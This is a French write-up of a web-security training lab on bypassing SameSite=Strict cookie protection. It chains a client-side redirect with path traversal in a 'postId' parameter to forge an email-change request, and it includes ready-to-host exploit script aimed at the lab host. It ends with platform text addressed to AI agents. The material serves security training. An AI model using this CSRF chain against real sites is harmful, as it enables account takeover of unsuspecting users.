> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# Contournement de SameSite Strict via redirection côté client

### Contournement de SameSite Strict via redirection côté client

Le formulaire de changement d’e-mail du lab est vulnérable au CSRF. L’objectif est de changer l’adresse e-mail de la victime en hébergeant l’exploit sur le serveur d’exploit fourni.

**Tester l’accès**/ Compte utilisé dans le lab : `wiener:peter`

### Observations principales

1. La fonctionnalité de changement d’e-mail fonctionne via une requête GET de ce type :

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="/files/d929bffd2f0bf962c0deffc65d2df1e789786f19" alt=""><figcaption></figcaption></figure>

En envoyant une redirection JavaScript comme celle-ci :

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* la page demande une authentification si l’utilisateur n’est pas connecté — la requête ne prend pas le cookie de session lorsqu’elle provient d’un autre site.

<figure><img src="/files/2ff09c8e302eb9fbd1052fb08a5d2bfc56b23804" alt="" width="563"><figcaption></figcaption></figure>

Le `Set-Cookie` l’en-tête contient `SameSite=Strict`, ce qui empêche l’envoi du cookie de session lors d’une navigation initiée depuis un autre contexte (cross-site), bloquant normalement les attaques classiques par redirection.

<figure><img src="/files/bd4dba9ba80c06622a856dea58b7501c81e3fa8d" alt=""><figcaption></figcaption></figure>

### Zone exploitée (commentaires → confirmation → redirection)

1. Il existe une zone de commentaire qui redirige ensuite vers :

<figure><img src="/files/97c8391dc16f6bcf1681fb1fd9ce030a67fe1bb6" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="/files/aade3789d13d346dfa5dda65804dcbaf7c57f291" alt=""><figcaption></figcaption></figure>

Un script sur la page de confirmation extrait le `postId` paramètre et redirige après 3 secondes vers l’article correspondant :

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="/files/d22e4cfe7df6134a14a689ff376e825a10be67da" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="/files/36d42d44b65cc40381f9c4f053828a13fbf5c651" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

En observant ce comportement, on note que `postId` n’est pas strictement obligatoire : si l’on modifie sa valeur (par ex. `test`), la redirection se fait vers `.../test` sans validation apparente.

#### Contourner le SameSite Strict via un chemin manipulé

Idée : remplacer la redirection vers `blogPath + '/' + postId` par `postId` contenant des `..` segments relatifs pour atteindre un chemin du site cible (répertoire parent), par exemple :

`/post/comment/confirmation?postId=../my-account`

* la redirection mène alors vers un répertoire supérieur sans bloquer le cookie de session.

<figure><img src="/files/ffaa66e6929e3695ddd3af19fcd10020a781e7d3" alt="" width="563"><figcaption></figcaption></figure>

En construisant un `postId`plus spécifique, nous ciblons directement la fonction de changement d’e-mail :

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

Redirection simple vers la page de changement d’e-mail :

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
